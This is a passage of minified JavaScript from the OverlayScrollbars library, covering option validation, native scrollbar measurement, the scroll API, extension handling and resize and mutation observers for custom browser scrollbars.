n[u],i.splice(e,1)}}}),w=(g=[],L=Si.type,y={className:["os-theme-dark",[t,mi]],resize:["none","n:none b:both h:horizontal v:vertical"],sizeAutoCapable:d=[!0,gi],clipAlways:d,normalizeRTL:d,paddingAbsolute:h=[!(N=[gi,wi,mi,yi,pi,bi,t]),gi],autoUpdate:[null,[t,gi]],autoUpdateInterval:[33,wi],updateOnLoad:[["img"],[mi,yi,t]],nativeScrollbarsOverlaid:{showNativeScrollbars:h,initialize:d},overflowBehavior:{x:["scroll",b="v-h:visible-hidden v-s:visible-scroll s:scroll h:hidden"],y:["scroll",b]},scrollbars:{visibility:["auto","v:visible h:hidden a:auto"],autoHide:["never","n:never s:scroll l:leave m:move"],autoHideDelay:[800,wi],dragScrolling:d,clickScrolling:h,touchSupport:d,snapHandle:h},textarea:{dynWidth:h,dynHeight:h,inheritedAttrs:[["style","class"],[mi,yi,t]]},callbacks:{onInitialized:p=[null,[t,bi]],onInitializationWithdrawn:p,onDestroyed:p,onScrollStart:p,onScroll:p,onScrollStop:p,onOverflowChanged:p,onOverflowAmountChanged:p,onDirectionChanged:p,onContentSizeChanged:p,onHostSizeChanged:p,onUpdated:p}},Ti={m:(m=function(i){var o=function(n){var t,r,e;for(t in n)n[xi.hOP](t)&&(r=n[t],(e=L(r))==yi?n[t]=r[i?1:0]:e==pi&&(n[t]=o(r)));return n};return o(Ci.extend(!0,{},y))})(),g:m(!0),_:function(n,t,C,r){var e={},i={},o=Ci.extend(!0,{},n),A=Ci.inArray,H=Ci.isEmptyObject,R=function(n,t,r,e,i,o){for(var a in t)if(t[xi.hOP](a)&&n[xi.hOP](a)){var u,f,c,s,l,v,d,h,p=!1,b=!1,y=t[a],m=L(y),g=m==pi,w=Si.isA(y)?y:[y],x=r[a],_=n[a],S=L(_),z=o?o+".":"",T='The option "'+z+a+"\" wasn't set, because",O=[],k=[];if(x=x===hi?{}:x,g&&S==pi)e[a]={},i[a]={},R(_,y,x,e[a],i[a],z+a),Ci.each([n,e,i],function(n,t){H(t[a])&&delete t[a]});else if(!g){for(v=0;v<w[xi.l];v++)if(l=w[v],c=(m=L(l))==mi&&-1===A(l,N))for(O.push(mi),u=l.split(" "),k=k.concat(u),d=0;d<u[xi.l];d++){for(s=(f=u[d].split(":"))[0],h=0;h<f[xi.l];h++)if(_===f[h]){p=!0;break}if(p)break}else if(O.push(l),S===l){p=!0;break}p?((b=_!==x)&&(e[a]=_),(c?A(x,f)<0:b)&&(i[a]=c?s:_)):C&&console.warn(T+" it doesn't accept the type [ "+S.toUpperCase()+' ] with the value of "'+_+'".\r\nAccepted types are: [ '+O.join(", ").toUpperCase()+" ]."+(0<k[length]?"\r\nValid strings are: [ "+k.join(", ").split(":").join(", ")+" ].":"")),delete n[a]}}};return R(o,t,r||{},e,i),!H(o)&&C&&console.warn("The following options are discarded due to invalidity:\r\n"+vi.JSON.stringify(o,null,2)),{S:e,z:i}}},(zi=vi.OverlayScrollbars=function(n,r,e){if(0===arguments[xi.l])return this;var i,t,o=[],a=Ci.isPlainObject(r);return n?(n=n[xi.l]!=hi?n:[n[0]||n],x(),0<n[xi.l]&&(a?Ci.each(n,function(n,t){(i=t)!==hi&&o.push(z(i,r,e,s,v))}):Ci.each(n,function(n,t){i=Ai(t),("!"===r&&zi.valid(i)||Si.type(r)==bi&&r(t,i)||r===hi)&&o.push(i)}),t=1===o[xi.l]?o[0]:o),t):a||!r?t:o}).globals=function(){x();var n=Ci.extend(!0,{},s);return delete n.msie,n},zi.defaultOptions=function(n){x();var t=s.defaultOptions;if(n===hi)return Ci.extend(!0,{},t);s.defaultOptions=Ci.extend(!0,{},t,Ti._(n,Ti.g,!0,t).S)},zi.valid=function(n){return n instanceof zi&&!n.getState().destroyed},zi.extension=function(n,t,r){var e=Si.type(n)==mi,i=arguments[xi.l],o=0;if(i<1||!e)return Ci.extend(!0,{length:g[xi.l]},g);if(e)if(Si.type(t)==bi)g.push({name:n,extensionFactory:t,defaultOptions:r});else for(;o<g[xi.l];o++)if(g[o].name===n){if(!(1<i))return Ci.extend(!0,{},g[o]);g.splice(o,1)}},zi);function x(){s=s||new _(Ti.m),v=v||new S(s)}function _(n){var _=this,i="overflow",S=Ci("body"),z=Ci('<div id="os-dummy-scrollbar-size"><div></div></div>'),o=z[0],e=Ci(z.children("div").eq(0));S.append(z),z.hide().show();var t,r,a,u,f,c,s,l,v,d=T(o),h={x:0===d.x,y:0===d.y},p=(r=vi.navigator.userAgent,u="substring",f=r[a="indexOf"]("MSIE "),c=r[a]("Trident/"),s=r[a]("Edge/"),l=r[a]("rv:"),v=parseInt,0<f?t=v(r[u](f+5,r[a](".",f)),10):0<c?t=v(r[u](l+3,r[a](".",l)),10):0<s&&(t=v(r[u](s+5,r[a](".",s)),10)),t);function T(n){return{x:n[xi.oH]-n[xi.cH],y:n[xi.oW]-n[xi.cW]}}Ci.extend(_,{defaultOptions:n,msie:p,autoUpdateLoop:!1,autoUpdateRecommended:!Si.mO(),nativeScrollbarSize:d,nativeScrollbarIsOverlaid:h,nativeScrollbarStyling:function(){var n=!1;z.addClass("os-viewport-native-scrollbars-invisible");try{n="none"===z.css("scrollbar-width")&&(9<p||!p)||"none"===vi.getComputedStyle(o,"::-webkit-scrollbar").getPropertyValue("display")}catch(t){}return n}(),overlayScrollbarDummySize:{x:30,y:30},cssCalc:_i.v("width","calc","(1px)")||null,restrictedMeasuring:function(){z.css(i,"hidden");var n=o[xi.sW],t=o[xi.sH];z.css(i,"visible");var r=o[xi.sW],e=o[xi.sH];return n-r!=0||t-e!=0}(),rtlScrollBehavior:function(){z.css({"overflow-y":"hidden","overflow-x":"scroll",direction:"rtl"}).scrollLeft(0);var n=z.offset(),t=e.offset();z.scrollLeft(-999);var r=e.offset();return{i:n.left===t.left,n:t.left!==r.left}}(),supportTransform:!!_i.u("transform"),supportTransition:!!_i.u("transition"),supportPassiveEvents:function(){var n=!1;try{vi.addEventListener("test",null,Object.defineProperty({},"passive",{get:function(){n=!0}}))}catch(t){}return n}(),supportResizeObserver:!!Si.rO(),supportMutationObserver:!!Si.mO()}),z.removeAttr(xi.s).remove(),function(){if(!h.x||!h.y){var y=Oi.abs,m=Si.wW(),g=Si.wH(),w=x();Ci(vi).on("resize",function(){if(0<Ai().length){var n=Si.wW(),t=Si.wH(),r=n-m,e=t-g;if(0==r&&0==e)return;var i,o=Oi.round(n/(m/100)),a=Oi.round(t/(g/100)),u=y(r),f=y(e),c=y(o),s=y(a),l=x(),v=2<u&&2<f,d=!function b(n,t){var r=y(n),e=y(t);return r!==e&&r+1!==e&&r-1!==e}(c,s),h=v&&d&&(l!==w&&0<w),p=_.nativeScrollbarSize;h&&(S.append(z),i=_.nativeScrollbarSize=T(z[0]),z.remove(),p.x===i.x&&p.y===i.y||Ci.each(Ai(),function(){Ai(this)&&Ai(this).update("zoom")})),m=n,g=t,w=l}})}function x(){var n=vi.screen.deviceXDPI||0,t=vi.screen.logicalXDPI||1;return vi.devicePixelRatio||n/t}}()}function S(r){var c,e=Ci.inArray,s=Si.now,l="autoUpdate",v=xi.l,d=[],h=[],p=!1,b=33,y=s(),m=function(){if(0<d[v]&&p){c=Si.rAF()(function(){m()});var n,t,r,e,i,o,a=s(),u=a-y;if(b<u){y=a-u%b,n=33;for(var f=0;f<d[v];f++)(t=d[f])!==hi&&(e=(r=t.options())[l],i=Oi.max(1,r.autoUpdateInterval),o=s(),(!0===e||null===e)&&o-h[f]>i&&(t.update("auto"),h[f]=new Date(o+=i)),n=Oi.max(1,Oi.min(n,i)));b=n}}else b=33};this.add=function(n){-1===e(n,d)&&(d.push(n),h.push(s()),0<d[v]&&!p&&(p=!0,r.autoUpdateLoop=p,m()))},this.remove=function(n){var t=e(n,d);-1<t&&(h.splice(t,1),d.splice(t,1),0===d[v]&&p&&(p=!1,r.autoUpdateLoop=p,c!==hi&&(Si.cAF()(c),c=-1)))}}function z(r,n,t,xt,_t){var cn=Si.type,sn=Ci.inArray,d=Ci.each,St=new zi,e=Ci[xi.p];if(dt(r)){if(Ai(r)){var i=Ai(r);return i.options(n),i}var zt,Tt,Ot,kt,I,Ct,At,Ht,j,ln,g,A,h,Rt,Lt,Nt,Wt,w,p,Dt,Mt,Et,It,jt,Ft,Pt,Ut,Vt,$t,o,a,qt,Bt,Xt,u,F,c,P,Yt,Kt,Gt,Jt,Qt,Zt,nr,tr,rr,er,ir,f,s,l,v,b,y,x,H,or,ar,ur,R,fr,cr,sr,lr,vr,dr,hr,pr,br,yr,mr,gr,wr,xr,_r,L,Sr,zr,Tr,Or,kr,Cr,Ar,Hr,m,_,Rr,Lr,Nr,Wr,Dr,Mr,Er,Ir,jr,Fr,Pr,Ur,Vr,$r,S,z,T,O,qr,Br,k,C,Xr,Yr,Kr,Gr,Jr,U,V,Qr,Zr,ne,te,re={},vn={},dn={},ee={},ie={},N="-hidden",oe="margin-",ae="padding-",ue="border-",fe="top",ce="right",se="bottom",le="left",ve="min-",de="max-",he="width",pe="height",be="float",ye="",me="auto",hn="sync",ge="scroll",we="100%",pn="x",bn="y",W=".",xe=" ",D="scrollbar",M="-horizontal",E="-vertical",_e=ge+"Left",Se=ge+"Top",$="mousedown touchstart",q="mouseup touchend touchcancel",B="mousemove touchmove",X="mouseenter",Y="mouseleave",K="keydown",G="keyup",J="selectstart",Q="transitionend webkitTransitionEnd oTransitionEnd",Z="__overlayScrollbarsRO__",nn="os-",tn="os-html",rn="os-host",en=rn+"-foreign",on=rn+"-textarea",an=rn+"-"+D+M+N,un=rn+"-"+D+E+N,fn=rn+"-transition",ze=rn+"-rtl",Te=rn+"-resize-disabled",Oe=rn+"-scrolling",ke=rn+"-overflow",Ce=(ke=rn+"-overflow")+"-x",Ae=ke+"-y",yn="os-textarea",mn=yn+"-cover",gn="os-padding",wn="os-viewport",He=wn+"-native-scrollbars-invisible",xn=wn+"-native-scrollbars-overlaid",_n="os-content",Re="os-content-arrange",Le="os-content-glue",Ne="os-size-auto-observer",Sn="os-resize-observer",zn="os-resize-observer-item",Tn=zn+"-final",On="os-text-inherit",kn=nn+D,Cn=kn+"-track",An=Cn+"-off",Hn=kn+"-handle",Rn=Hn+"-off",Ln=kn+"-unusable",Nn=kn+"-"+me+N,Wn=kn+"-corner",We=Wn+"-resize",De=We+"-both",Me=We+M,Ee=We+E,Dn=kn+M,Mn=kn+E,En="os-dragging",Ie="os-theme-none",In=[He,xn,An,Rn,Ln,Nn,We,De,Me,Ee,En].join(xe),jn=[],Fn=[xi.ti],Pn={},je={},Fe=42,Un="load",Vn=[],$n={},qn=["wrap","cols","rows"],Bn=[xi.i,xi.c,xi.s,"open"].concat(Fn),Xn=[];return St.sleep=function(){$t=!0},St.update=function(n){var t,r,e,i,o;if(!Lt)return cn(n)==mi?n===me?(t=function a(){if(!$t&&!qr){var r,e,i,o=[],n=[{T:Kt,O:Bn.concat(":visible")},{T:Nt?Yt:hi,O:qn}];return d(n,function(n,t){(r=t.T)&&d(t.O,function(n,t){e=":"===t.charAt(0)?r.is(t):r.attr(t),i=$n[t],ui(e,i)&&o.push(t),$n[t]=e})}),it(o),0<o[xi.l]}}(),r=function f(){if($t)return!1;var n,t,r,e,i=oi(),o=Nt&&br&&!jr?Yt.val().length:0,a=!qr&&br&&!Nt,u={};return a&&(n=nr.css(be),u[be]=Vt?ce:le,u[he]=me,nr.css(u)),e={w:i[xi.sW]+o,h:i[xi.sH]+o},a&&(u[be]=n,u[he]=we,nr.css(u)),t=qe(),r=ui(e,m),m=e,r||t}(),(e=t||r)&&Xe({k:r,C:Rt?hi:qt})):n===hn?qr?(i=T(S.takeRecords()),o=O(z.takeRecords())):i=St.update(me):"zoom"===n&&Xe({A:!0,k:!0}):(n=$t||n,$t=!1,St.update(hn)&&!n||Xe({H:n})),Ye(),e||i||o},St.options=function(n,t){var r,e={};if(Ci.isEmptyObject(n)||!Ci.isPlainObject(n)){if(cn(n)!=mi)return a;if(!(1<arguments.length))return bt(a,n);!function f(n,t,r){for(var e=t.split(W),i=e.length,o=0,a={},u=a;o<i;o++)a=a[e[o]]=o+1<i?{}:r;Ci.extend(n,u,!0)}(e,n,t),r=ot(e)}else r=ot(n);Ci.isEmptyObject(r)||Xe({C:r})},St.destroy=function(){if(!Lt){for(var n in _t.remove(St),Ve(),Pe(Jt),Pe(Gt),Pn)St.removeExt(n);for(;0<Xn[xi.l];)Xn.pop()();$e(!0),rr&&mt(rr),tr&&mt(tr),Mt&&mt(Gt),ft(!0),st(!0),at(!0);for(var t=0;t<Vn[xi.l];t++)Ci(Vn[t]).off(Un,rt);Vn=hi,$t=Lt=!0,Ai(r,0),ti("onDestroyed")}},St.scroll=function(n,t,r,e){if(0===arguments.length||n===hi){var i=Mr&&Vt&&Ot.i,o=Mr&&Vt&&Ot.n,a=vn.R,u=vn.L,f=vn.N;return u=i?1-u:u,a=i?f-a:a,f*=o?-1:1,{position:{x:a*=o?-1:1,y:dn.R},ratio:{x:u,y:dn.L},max:{x:f,y:dn.N},handleOffset:{x:vn.W,y:dn.W},handleLength:{x:vn.D,y:dn.D},handleLengthRatio:{x:vn.M,y:dn.M},trackLength:{x:vn.I,y:dn.I},snappedHandleOffset:{x:vn.j,y:dn.j},isRTL:Vt,isRTLNormalized:Mr}}St.update(hn);var c,s,l,v,d,m,g,h,p,w=Mr,b=[pn,le,"l"],y=[bn,fe,"t"],x=["+=","-=","*=","/="],_=cn(t)==pi,S=_?t.complete:e,z={},T={},O="begin",k="nearest",C="never",A="ifneeded",H=xi.l,R=[pn,bn,"xy","yx"],L=[O,"end","center",k],N=["always",C,A],W=n[xi.hOP]("el"),D=W?n.el:n,M=!!(D instanceof Ci||ki)&&D instanceof ki,E=!M&&dt(D),I=function(){s&&Qe(!0),l&&Qe(!1)},j=cn(S)!=bi?hi:function(){I(),S()};function F(n,t){for(c=0;c<t[H];c++)if(n===t[c])return 1}function P(n,t){var r=n?b:y;if(t=cn(t)==mi||cn(t)==wi?[t,t]:t,Si.isA(t))return n?t[0]:t[1];if(cn(t)==pi)for(c=0;c<r[H];c++)if(r[c]in t)return t[r[c]]}function U(n,t){var r,e,i,o,a=cn(t)==mi,u=n?vn:dn,f=u.R,c=u.N,s=Vt&&n,l=s&&Ot.n&&!w,v="replace",d=eval;if((e=a?(2<t[H]&&(o=t.substr(0,2),-1<sn(o,x)&&(r=o)),t=(t=r?t.substr(2):t)[v](/min/g,0)[v](/</g,0)[v](/max/g,(l?"-":ye)+we)[v](/>/g,(l?"-":ye)+we)[v](/px/g,ye)[v](/%/g," * "+c*(s&&Ot.n?-1:1)/100)[v](/vw/g," * "+ee.w)[v](/vh/g," * "+ee.h),ii(isNaN(t)?ii(d(t),!0).toFixed():t)):t)!==hi&&!isNaN(e)&&cn(e)==wi){var h=w&&s,p=f*(h&&Ot.n?-1:1),b=h&&Ot.i,y=h&&Ot.n;switch(p=b?c-p:p,r){case"+=":i=p+e;break;case"-=":i=p-e;break;case"*=":i=p*e;break;case"/=":i=p/e;break;default:i=e}i=b?c-i:i,i*=y?-1:1,i=s&&Ot.n?Oi.min(0,Oi.max(c,i)):Oi.max(0,Oi.min(c,i))}return i===f?hi:i}function V(n,t,r,e){var i,o,a=[r,r],u=cn(n);if(u==t)n=[n,n];else if(u==yi){if(2<(i=n[H])||i<1)n=a;else for(1===i&&(n[1]=r),c=0;c<i;c++)if(o=n[c],cn(o)!=t||!F(o,e)){n=a;break}}else n=u==pi?[n[pn]||r,n[bn]||r]:a;return{x:n[0],y:n[1]}}function $(n){var t,r,e=[],i=[fe,ce,se,le];for(c=0;c<n[H]&&c!==i[H];c++)t=n[c],(r=cn(t))==gi?e.push(t?ii(p.css(oe+i[c])):0):e.push(r==wi?t:0);return e}if(M||E){var q,B=W?n.margin:0,X=W?n.axis:0,Y=W?n.scroll:0,K=W?n.block:0,G=[0,0,0,0],J=cn(B);if(0<(p=M?D:Ci(D))[H]){B=J==wi||J==gi?$([B,B,B,B]):J==yi?2===(q=B[H])?$([B[0],B[1],B[0],B[1]]):4<=q?$(B):G:J==pi?$([B[fe],B[ce],B[se],B[le]]):G,d=F(X,R)?X:"xy",m=V(Y,mi,"always",N),g=V(K,mi,O,L),h=B;var Q=vn.R,Z=dn.R,nn=Qt.offset(),tn=p.offset(),rn={x:m.x==C||d==bn,y:m.y==C||d==pn};tn[fe]-=h[0],tn[le]-=h[3];var en={x:Oi.round(tn[le]-nn[le]+Q),y:Oi.round(tn[fe]-nn[fe]+Z)};if(Vt&&(Ot.n||Ot.i||(en.x=Oi.round(nn[le]-tn[le]+Q)),Ot.n&&w&&(en.x*=-1),Ot.i&&w&&(en.x=Oi.round(nn[le]-tn[le]+(vn.N-Q)))),g.x!=O||g.y!=O||m.x==A||m.y==A||Vt){var on=p[0],an=ln?on[xi.bCR]():{width:on[xi.oW],height:on[xi.oH]},un={w:an[he]+h[3]+h[1],h:an[pe]+h[0]+h[2]},fn=function(n){var t=ni(n),r=t.F,e=t.P,i=t.U,o=g[i]==(n&&Vt?O:"end"),a="center"==g[i],u=g[i]==k,f=m[i]==C,c=m[i]==A,s=ee[r],l=nn[e],v=un[r],d=tn[e],h=a?2:1,p=d+v/2,b=l+s/2,y=v<=s&&l<=d&&d+v<=l+s;f?rn[i]=!0:rn[i]||((u||c)&&(rn[i]=c&&y,o=v<s?b<p:p<b),en[i]-=o||a?(s/h-v/h)*(n&&Vt&&w?-1:1):0)};fn(!0),fn(!1)}rn.y&&delete en.y,rn.x&&delete en.x,n=en}}z[_e]=U(!0,P(!0,n)),z[Se]=U(!1,P(!1,n)),s=z[_e]!==hi,l=z[Se]!==hi,(s||l)&&(0<t||_)?_?(t.complete=j,Zt.animate(z,t)):(v={duration:t,complete:j},Si.isA(r)||Ci.isPlainObject(r)?(T[_e]=r[0]||r.x,T[Se]=r[1]||r.y,v.specialEasing=T):v.easing=r,Zt.animate(z,v)):(s&&Zt[_e](z[_e]),l&&Zt[Se](z[Se]),I())},St.scrollStop=function(n,t,r){return Zt.stop(n,t,r),St},St.getElements=function(n){var t={target:or,host:ar,padding:fr,viewport:cr,content:sr,scrollbarHorizontal:{scrollbar:f[0],track:s[0],handle:l[0]},scrollbarVertical:{scrollbar:v[0],track:b[0],handle:y[0]},scrollbarCorner:ir[0]};return cn(n)==mi?bt(t,n):t},St.getState=function(n){function t(n){if(!Ci.isPlainObject(n))return n;var r=fi({},n),t=function(n,t){r[xi.hOP](n)&&(r[t]=r[n],delete r[n])};return t("w",he),t("h",pe),delete r.c,r}var r={destroyed:!!t(Lt),sleeping:!!t($t),autoUpdate:t(!qr),widthAuto:t(br),heightAuto:t(yr),padding:t(gr),overflowAmount:t(kr),hideOverflow:t(pr),hasOverflow:t(hr),contentScrollSize:t(vr),viewportSize:t(ee),hostSize:t(lr),documentMixed:t(w)};return cn(n)==mi?bt(r,n):r},St.ext=function(n){var t,r="added removed on contract".split(" "),e=0;if(cn(n)==mi){if(Pn[xi.hOP](n))for(t=fi({},Pn[n]);e<r.length;e++)delete t[r[e]]}else for(e in t={},Pn)t[e]=fi({},St.ext(e));return t},St.addExt=function(n,t){var r,e,i,o,a=zi.extension(n),u=!0;if(a){if(Pn[xi.hOP](n))return St.ext(n);if((r=a.extensionFactory.call(St,fi({},a.defaultOptions),Ci,Si))&&(i=r.contract,cn(i)==bi&&(o=i(vi),u=cn(o)==gi?o:u),u))return e=(Pn[n]=r).added,cn(e)==bi&&e(t),St.ext(n)}else console.warn('A extension with the name "'+n+"\" isn't registered.")},St.removeExt=function(n){var t,r=Pn[n];return!!r&&(delete Pn[n],t=r.removed,cn(t)==bi&&t(),!0)},zi.valid(function wt(n,t,r){var e,i;return o=xt.defaultOptions,Ct=xt.nativeScrollbarStyling,Ht=fi({},xt.nativeScrollbarSize),zt=fi({},xt.nativeScrollbarIsOverlaid),Tt=fi({},xt.overlayScrollbarDummySize),Ot=fi({},xt.rtlScrollBehavior),ot(fi({},o,t)),At=xt.cssCalc,I=xt.msie,kt=xt.autoUpdateRecommended,j=xt.supportTransition,ln=xt.supportTransform,g=xt.supportPassiveEvents,A=xt.supportResizeObserver,h=xt.supportMutationObserver,xt.restrictedMeasuring,F=Ci(n.ownerDocument),H=F[0],u=Ci(H.defaultView||H.parentWindow),x=u[0],c=gt(F,"html"),P=gt(c,"body"),Yt=Ci(n),or=Yt[0],Nt=Yt.is("textarea"),Wt=Yt.is("body"),w=H!==di,p=Nt?Yt.hasClass(yn)&&Yt.parent().hasClass(_n):Yt.hasClass(rn)&&Yt.children(W+gn)[xi.l],zt.x&&zt.y&&!qt.nativeScrollbarsOverlaid.initialize?(ti("onInitializationWithdrawn"),p&&(at(!0),ft(!0),st(!0)),$t=Lt=!0):(Wt&&((e={}).l=Oi.max(Yt[_e](),c[_e](),u[_e]()),e.t=Oi.max(Yt[Se](),c[Se](),u[Se]()),i=function(){Zt.removeAttr(xi.ti),Yn(Zt,$,i,!0,!0)}),at(),ft(),st(),ut(),ct(!0),ct(!1),function s(){var r,t=x.top!==x,e={},i={},o={};function a(n){if(f(n)){var t=c(n),r={};(ne||Zr)&&(r[he]=i.w+(t.x-e.x)*o.x),(te||Zr)&&(r[pe]=i.h+(t.y-e.y)*o.y),Kt.css(r),Si.stpP(n)}else u(n)}function u(n){var t=n!==hi;Yn(F,[J,B,q],[tt,a,u],!0),si(P,En),ir.releaseCapture&&ir.releaseCapture(),t&&(r&&Ue(),St.update(me)),r=!1}function f(n){var t=(n.originalEvent||n).touches!==hi;return!$t&&!Lt&&(1===Si.mBtn(n)||t)}function c(n){return I&&t?{x:n.screenX,y:n.screenY}:Si.page(n)}Kn(ir,$,function(n){f(n)&&!Qr&&(qr&&(r=!0,Ve()),e=c(n),i.w=ar[xi.oW]-(Dt?0:Et),i.h=ar[xi.oH]-(Dt?0:It),o=vt(),Yn(F,[J,B,q],[tt,a,u]),ci(P,En),ir.setCapture&&ir.setCapture(),Si.prvD(n),Si.stpP(n))})}(),Gn(),Pe(Jt,Jn),Wt&&(Zt[_e](e.l)[Se](e.t),di.activeElement==n&&cr.focus&&(Zt.attr(xi.ti,"-1"),cr.focus(),Yn(Zt,$,i,!1,!0))),St.update(me),Rt=!0,ti("onInitialized"),d(jn,function(n,t){ti(t.n,t.a)}),jn=[],cn(r)==mi&&(r=[r]),Si.isA(r)?d(r,function(n,t){St.addExt(t)}):Ci.isPlainObject(r)&&d(r,function(n,t){St.addExt(n,t)}),setTimeout(function(){j&&!Lt&&ci(Kt,fn)},333)),St}(r,n,t))&&Ai(r,St),St}function Yn(n,t,r,e,i){var o=Si.isA(t)&&Si.isA(r),a=e?"removeEventListener":"addEventListener",u=e?"off":"on",f=!o&&t.split(xe),c=0,s=Ci.isPlainObject(i),l=g&&(s?i.V:i)||!1,v=s&&(i.$||!1),d=g?{passive:l,capture:v}:v;if(o)for(;c<t[xi.l];c++)Yn(n,t[c],r[c],e,i);else for(;c<f[xi.l];c++)g?n[0][a](f[c],r,d):n[u](f[c],r)}function Kn(n,t,r,e){Yn(n,t,r,!1,e),Xn.push(Si.bind(Yn,0,n,t,r,!0,e))}function Pe(n,t){if(n){var r=Si.rO(),e="animationstart mozAnimationStart webkitAnimationStart MSAnimationStart",i="childNodes",o=3333333,a=function(){n[Se](o)[_e](Vt?Ot.n?-o:Ot.i?0:o:o),t()};if(t){if(A)((k=n.addClass("observed").append(ai(Sn)).contents()[0])[Z]=new r(a)).observe(k);else if(9<I||!kt){n.prepend(ai(Sn,ai({c:zn,dir:"ltr"},ai(zn,ai(Tn))+ai(zn,ai({c:Tn,style:"width: 200%; height: 200%"})))));var u,f,c,s,l=n[0][i][0][i][0],v=Ci(l[i][1]),d=Ci(l[i][0]),h=Ci(d[0][i][0]),p=l[xi.oW],b=l[xi.oH],y=xt.nativeScrollbarSize,m=function(){d[_e](o)[Se](o),v[_e](o)[Se](o)},g=function(){f=0,u&&(p=c,b=s,a())},w=function(n){return c=l[xi.oW],s=l[xi.oH],u=c!=p||s!=b,n&&u&&!f?(Si.cAF()(f),f=Si.rAF()(g)):n||g(),m(),n&&(Si.prvD(n),Si.stpP(n)),!1},x={},_={};ri(_,ye,[-2*(y.y+1),-2*y.x,-2*y.y,-2*(y.x+1)]),Ci(l).css(_),d.on(ge,w),v.on(ge,w),n.on(e,function(){w(!1)}),x[he]=o,x[pe]=o,h.css(x),m()}else{var S=H.attachEvent,z=I!==hi;if(S)n.prepend(ai(Sn)),gt(n,W+Sn)[0].attachEvent("onresize",a);else{var T=H.createElement(pi);T.setAttribute(xi.ti,"-1"),T.setAttribute(xi.c,Sn),T.onload=function(){var n=this.contentDocument.defaultView;n.addEventListener("resize",a),n.document.documentElement.style.display="none"},T.type="text/html",z&&n.prepend(T),T.data="about:blank",z||n.prepend(T),n.on(e,a)}}if(n[0]===R){var O=function(){var n=Kt.css("direction"),t={},r=0,e=!1;return n!==L&&(r="ltr"===n?(t[le]=0,t[ce]=me,o):(t[le]=me,t[ce]=0,Ot.n?-o:Ot.i?0:o),Jt.children().eq(0).css(t),Jt[_e](r)[Se](o),L=n,e=!0),e};O(),Kn(n,ge,function(n){return O()&&Xe(),Si.prvD(n),Si.stpP(n),!1})}}else if(A){var k,C=(k=n.contents()[0])[Z];C&&(C.disconnect(),delete k[Z])}else mt(n.children(W+Sn).eq(0))}}function Gn(){if(h){var o,a,u,f,c,s,r,e,i,l,n=Si.mO(),v=Si.now();O=function(n){var t=!1;return Rt&&!$t&&(d(n,function(){return!(t=function o(n){var t=n.attributeName,r=n.target,e=n.type,i="closest";if(r===sr)return null===t;if("attributes"===e&&(t===xi.c||t===xi.s)&&!Nt){if(t===xi.c&&Ci(r).hasClass(rn))return et(n.oldValue,r.className);if(typeof r[i]!=bi)return!0;if(null!==r[i](W+Sn)||null!==r[i](W+kn)||null!==r[i](W+Wn))return!1}return!0}(this))}),t&&(e=Si.now(),i=yr||br,l=function(){Lt||(v=e,Nt&&Be(),i?Xe():St.update(me))},clearTimeout(r),11<e-v||!i?l():r=setTimeout(l,11))),t},S=new n(T=function(n){var t,r=!1,e=!1,i=[];return Rt&&!$t&&(d(n,function(){o=(t=this).target,a=t.attributeName,u=a===xi.c,f=t.oldValue,c=o.className,p&&u&&!e&&-1<f.indexOf(en)&&c.indexOf(en)<0&&(s=lt(!0),ar.className=c.split(xe).concat(f.split(xe).filter(function(n){return n.match(s)})).join(xe),r=e=!0),r=r||(u?et(f,c):a!==xi.s||f!==o[xi.s].cssText),i.push(a)}),it(i),r&&St.update(e||me)),r}),z=new n(O)}}function Ue(){h&&!qr&&(S.observe(ar,{attributes:!0,attributeOldValue:!0,attributeFilter:Bn}),z.observe(Nt?or:sr,{attributes:!0,attributeOldValue:!0,subtree:!Nt,childList:!Nt,characterData:!Nt,attributeFilter:Nt?qn:Bn}),qr=!0)}function Ve(){h&&qr&&(S.disconnect(),z.disconnect(),qr=!1)}function Jn(){if(!$t){var n,t={w:R[xi.sW],h:R[xi.sH]};n=ui(t,_),_=t,n&&Xe({A:!0})}}function Qn(){Jr&&Ge(!0)}function Zn(){Jr&&!P.hasClass(En)&&Ge(!1)}function nt(){Gr&&(Ge(!0),clearTimeout(C),C=setTimeout(function(){Gr&&!Lt&&Ge(!1)},100))}function tt(n){return Si.prvD(n),!1}function rt(n){var r=Ci(n.target);yt(function(n,t){r.is(t)&&Xe({k:!0})})}function $e(n){n||$e(!0),Yn(Kt,B.split(xe)[0],nt,!Gr||n,!0),Yn(Kt,[X,Y],[Qn,Zn],!Jr||n,!0),Rt||n||Kt.one("mouseover",Qn)}function qe(){var n={};return Wt&&tr&&(n.w=ii(tr.css(ve+he)),n.h=ii(tr.css(ve+pe)),n.c=ui(n,$r),n.f=!0),!!($r=n).c}function et(n,t){var r,e,i=typeof t==mi?t.split(xe):[],o=function u(n,t){var r,e,i=[],o=[];for(r=0;r<n.length;r++)i[n[r]]=!0;for(r=0;r<t.length;r++)i[t[r]]?delete i[t[r]]:i[t[r]]=!0;for(e in i)o.push(e);return o}(typeof n==mi?n.split(xe):[],i),a=sn(Ie,o);if(-1<a&&o.splice(a,1),0<o[xi.l])for(e=lt(!0,!0),r=0;r<o.length;r++)if(!o[r].match(e))return!0;return!1}function it(n){d(n=n||Fn,function(n,t){if(-1<Si.inA(t,Fn)){var r=Yt.attr(t);cn(r)==mi?Zt.attr(t,r):Zt.removeAttr(t)}})}function Be(){if(!$t){var n,t,r,e,i=!jr,o=ee.w,a=ee.h,u={},f=br||i;return u[ve+he]=ye,u[ve+pe]=ye,u[he]=me,Yt.css(u),n=or[xi.oW],t=f?Oi.max(n,or[xi.sW]-1):1,u[he]=br?me:we,u[ve+he]=we,u[pe]=me,Yt.css(u),r=or[xi.oH],e=Oi.max(r,or[xi.sH]-1),u[he]=t,u[pe]=e,er.css(u),u[ve+he]=o,u[ve+pe]=a,Yt.css(u),{q:n,B:r,X:t,Y:e}}}function Xe(n){clearTimeout(Xt),n=n||{},je.A|=n.A,je.k|=n.k,je.H|=n.H;var t,r=Si.now(),e=!!je.A,i=!!je.k,o=!!je.H,a=n.C,u=0<Fe&&Rt&&!Lt&&!o&&!a&&r-Bt<Fe&&!yr&&!br;if(u&&(Xt=setTimeout(Xe,Fe)),!(Lt||u||$t&&!a||Rt&&!o&&(t=Kt.is(":hidden"))||"inline"===Kt.css("display"))){Bt=r,je={},!Ct||zt.x&&zt.y?Ht=fi({},xt.nativeScrollbarSize):(Ht.x=0,Ht.y=0),ie={x:3*(Ht.x+(zt.x?0:3)),y:3*(Ht.y+(zt.y?0:3))},a=a||{};var f=function(){return 